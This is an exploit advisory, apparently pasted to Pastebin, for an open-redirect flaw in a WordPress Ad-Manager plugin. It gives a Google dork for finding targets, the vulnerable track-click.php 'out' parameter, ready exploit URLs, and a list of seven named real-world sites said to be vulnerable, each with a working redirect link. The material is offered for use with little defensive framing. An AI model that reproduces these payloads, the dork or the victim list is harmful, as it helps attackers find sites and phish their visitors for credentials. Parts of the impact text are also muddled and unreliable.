Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ####################################################################
- # Exploit Title : WordPress 4.4.18 Ad-Manager Plugins 1.1.2 Open Redirection
- # Author [ Discovered By ] : KingSkrupellos
- # Team : Cyberizm Digital Security Army
- # Date : 23/05/2019
- # Vendor Homepage : wordpress.org
- # Software Information Link : wordpress.org/plugins/ad-manager-wd/
- # Software Affected Versions : Plugin Version 1.0.3 - 1.0.13 - 1.1.2 - WP Version 4.4.18
- # Tested On : Windows and Linux
- # Category : WebApps
- # Exploit Risk : Medium
- # Google Dorks : inurl:/wp-content/plugins/ad-manager/
- # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
- # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
- # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
- # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
- ####################################################################
- # Impact :
- ***********
- WordPress Ad-Manager Plugins accepts a user-controlled input that specifies
- a link to an external site, and uses that link in a Redirect. This simplifies phishing
- attacks. An http parameter may contain a URL value and could cause the web
- application to redirect the request to the specified URL. By modifying the URL
- value to a malicious site, an attacker may successfully launch a phishing scam and
- steal user credentials. Because the server name in the modified link is identical to the
- original site, phishing attempts have a more trustworthy appearance. Open redirect is a
- failure in that process that makes it possible for attackers to steer users to malicious
- websites. This vulnerability is used in phishing attacks to get users to visit malicious
- sites without realizing it. Web users often encounter redirection when they visit the
- Web site of a company whose name has been changed or which has been acquired by
- another company. Visiting unreal web page user's computer becomes affected
- by malware the task of which is to deceive the valid actor and steal his personal data.
- ####################################################################
- # Vulnerable File :
- *****************
- /track-click.php
- # Vulnerable Parameters :
- ***********************
- ?out=
- # Open Redirection Exploit :
- **************************
- /wp-content/plugins/ad-manager/track-click.php?out=https://www.[REDIRECTADDRESS].gov
- /wp-content/plugins/ad-manager-1.1.2/track-click.php?out=https://www.[REDIRECTADDRESS].gov
- /wp-content/plugins/ad-manager-1.0.3/track-click.php?out=https://www.[REDIRECTADDRESS].gov
- ####################################################################
- # Example Vulnerable Sites :
- *************************
- [+] glutenerzekeny.hu/wp-content/plugins/ad-manager/track-click.php?out=https://cxsecurity.com
- [+] revistalima.com.ar/wp-content/plugins/ad-manager/track-click.php?out=https://cxsecurity.com/
- [+] laktozerzekeny.hu/wp-content/plugins/ad-manager/track-click.php?out=https://cxsecurity.com/
- [+] julyjubilee.com/wp-content/plugins/ad-manager-1.1.2/track-click.php?out=https://cxsecurity.com/
- [+] tbeswindonandwilts.co.uk/wp-content/plugins/ad-manager-1.1.2_spare/track-click.php?out=https://cxsecurity.com/
- [+] thepacificedge.com/wp-content/plugins/ad-manager-1.0.3/track-click.php?out=https://cxsecurity.com
- [+] expofotomiami.org/wp-content/plugins/ad-manager-1.1.2/track-click.php?out=https://cxsecurity.com
- ####################################################################
- # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
- ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement